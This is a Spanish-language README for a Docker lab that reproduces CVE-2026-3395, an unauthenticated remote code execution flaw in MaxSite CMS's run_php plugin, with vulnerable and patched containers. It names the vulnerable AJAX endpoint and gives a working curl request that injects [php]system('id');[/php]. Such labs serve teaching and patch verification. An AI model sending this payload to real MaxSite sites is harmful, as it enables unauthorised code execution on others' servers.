
Lab educativo de Docker que demuestra CVE-2026-3395, un RCE no autenticado en MaxSite CMS a través del plugin run_php, con entornos vulnerables y parcheados para una reproducción y análisis seguros.
Este repositorio es solo para fines educativos y de investigación. Todas las pruebas deben realizarse en un entorno de laboratorio Docker local. No implemente esta configuración en sistemas públicos o de producción.
CVE-2026-3395 afecta a MaxSite CMS y permite el acceso no autenticado a un endpoint AJAX administrativo. Cuando el plugin run_php está habilitado, la entrada del usuario puede evaluarse como código PHP a través del sistema de hooks del CMS, lo que puede conducir a la Ejecución Remota de Código (RCE).
Este repositorio incluye:
El endpoint vulnerable se encuentra en:
application/maxsite/admin/plugins/editor_markitup/preview-ajax.php
En la versión vulnerable:
datos POST) se pasa a través de mso_hook()run_php procesa los bloques [php]...[/php]eval()Si run_php está habilitado, esto resulta en una ejecución remota de código no autenticada.
La versión parcheada añade:
if (!is_login()) die('no login');
mso_checkreferer();
Esto restringe el acceso solo a usuarios autenticados.
Este laboratorio construye dos entornos:
| Entorno | Puerto |
|---|---|
| Vulnerable | 8081 |
| Parcheado | 8082 |
docker compose up -d --build
Esto hará lo siguiente:
run_php en la configuración del laboratorioAbra en su navegador:
http://localhost:8081 (Vulnerable)
http://localhost:8082 (Parcheado)
Ambas instancias deberían cargar correctamente.

La ruta AJAX utiliza una ruta codificada en base64.
El base64 de:
admin/plugins/editor_markitup/preview-ajax.php
es:
YWRtaW4vcGx1Z2lucy9lZGl0b3JfbWFya2l0dXAvcHJldmlldy1hamF4LnBocA==
curl -X POST "http://localhost:8081/ajax/YWRtaW4vcGx1Z2lucy9lZGl0b3JfbWFya2l0dXAvcHJldmlldy1hamF4LnBocA==" \
-H "X-Requested-With: XMLHttpRequest" \
-H "Referer: http://localhost:8081/" \
--data-urlencode "data=[php]system('id');[/php]"

curl -X POST "http://localhost:8082/ajax/YWRtaW4vcGx1Z2lucy9lZGl0b3JfbWFya2l0dXAvcHJldmlldy1hamF4LnBocA==" \
-H "X-Requested-With: XMLHttpRequest" \
-H "Referer: http://localhost:8082/" \
--data-urlencode "data=[php]system('id');[/php]"
Resultado esperado:
no login

Para detener los contenedores:
docker compose down -v
Utilice este proyecto solo en entornos aislados con fines de investigación y aprendizaje.